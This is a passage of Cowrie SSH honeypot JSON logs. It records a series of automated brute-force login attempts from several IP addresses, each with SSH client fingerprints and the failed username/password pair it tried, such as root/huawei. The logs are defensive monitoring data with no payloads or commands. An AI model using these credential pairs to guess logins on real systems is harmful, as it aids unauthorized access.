{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:35.773485Z","src_ip":"176.65.139.103","session":"2ecf9d4fbdfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:36.093237Z","src_ip":"176.65.139.103","session":"2ecf9d4fbdfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:37.187621Z","src_ip":"176.65.139.103","session":"2ecf9d4fbdfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50730,"dst_ip":"10.17.0.5","dst_port":22,"session":"917dd6ca7593","protocol":"ssh","message":"New connection: 176.65.139.103:50730 (10.17.0.5:22) [session: 917dd6ca7593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:42.549684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:42.553324Z","src_ip":"176.65.139.103","session":"917dd6ca7593","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:42.641202Z","src_ip":"176.65.139.103","session":"917dd6ca7593","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:42.886407Z","src_ip":"176.65.139.103","session":"917dd6ca7593","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:44.000785Z","src_ip":"176.65.139.103","session":"917dd6ca7593","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.184.144.220","src_port":58014,"dst_ip":"10.17.0.5","dst_port":22,"session":"224103e50d81","protocol":"ssh","message":"New connection: 202.184.144.220:58014 (10.17.0.5:22) [session: 224103e50d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:46.890315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:46.895152Z","src_ip":"202.184.144.220","session":"224103e50d81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:47.130285Z","src_ip":"202.184.144.220","session":"224103e50d81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"woaini1314..","message":"login attempt [root/woaini1314..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:48.101307Z","src_ip":"202.184.144.220","session":"224103e50d81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":49218,"dst_ip":"10.17.0.5","dst_port":22,"session":"79bc790e857a","protocol":"ssh","message":"New connection: 176.65.139.103:49218 (10.17.0.5:22) [session: 79bc790e857a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:48.885819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:48.898564Z","src_ip":"176.65.139.103","session":"79bc790e857a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:48.972730Z","src_ip":"176.65.139.103","session":"79bc790e857a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei","message":"login attempt [root/huawei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:49.295587Z","src_ip":"176.65.139.103","session":"79bc790e857a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:49.336661Z","src_ip":"202.184.144.220","session":"224103e50d81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:50.390384Z","src_ip":"176.65.139.103","session":"79bc790e857a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":56164,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5f2c03c8e81","protocol":"ssh","message":"New connection: 176.65.139.103:56164 (10.17.0.5:22) [session: d5f2c03c8e81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:54.958080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:54.962598Z","src_ip":"176.65.139.103","session":"d5f2c03c8e81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:55.044835Z","src_ip":"176.65.139.103","session":"d5f2c03c8e81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"123456","message":"login attempt [chris/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:55.419768Z","src_ip":"176.65.139.103","session":"d5f2c03c8e81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:56.572179Z","src_ip":"176.65.139.103","session":"d5f2c03c8e81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.231.220.210","src_port":52346,"dst_ip":"10.17.0.5","dst_port":22,"session":"024dcd0accb8","protocol":"ssh","message":"New connection: 52.231.220.210:52346 (10.17.0.5:22) [session: 024dcd0accb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:59.253552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:59.257159Z","src_ip":"52.231.220.210","session":"024dcd0accb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:12:59.480836Z","src_ip":"52.231.220.210","session":"024dcd0accb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"admin1234","message":"login attempt [user/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:00.410003Z","src_ip":"52.231.220.210","session":"024dcd0accb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":56174,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a56b48d1efe","protocol":"ssh","message":"New connection: 176.65.139.103:56174 (10.17.0.5:22) [session: 5a56b48d1efe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:01.229740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:01.234576Z","src_ip":"176.65.139.103","session":"5a56b48d1efe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:01.318934Z","src_ip":"176.65.139.103","session":"5a56b48d1efe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:01.638011Z","src_ip":"52.231.220.210","session":"024dcd0accb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:01.694370Z","src_ip":"176.65.139.103","session":"5a56b48d1efe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:02.786680Z","src_ip":"176.65.139.103","session":"5a56b48d1efe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":33602,"dst_ip":"10.17.0.5","dst_port":22,"session":"a42f89131100","protocol":"ssh","message":"New connection: 176.65.139.103:33602 (10.17.0.5:22) [session: a42f89131100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:07.606335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:07.669312Z","src_ip":"176.65.139.103","session":"a42f89131100","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:07.739174Z","src_ip":"176.65.139.103","session":"a42f89131100","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123456","message":"login attempt [runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:08.089272Z","src_ip":"176.65.139.103","session":"a42f89131100","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:09.182732Z","src_ip":"176.65.139.103","session":"a42f89131100","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50142,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a6edd4c0570","protocol":"ssh","message":"New connection: 176.65.139.103:50142 (10.17.0.5:22) [session: 1a6edd4c0570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:14.066426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:14.071068Z","src_ip":"176.65.139.103","session":"1a6edd4c0570","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh 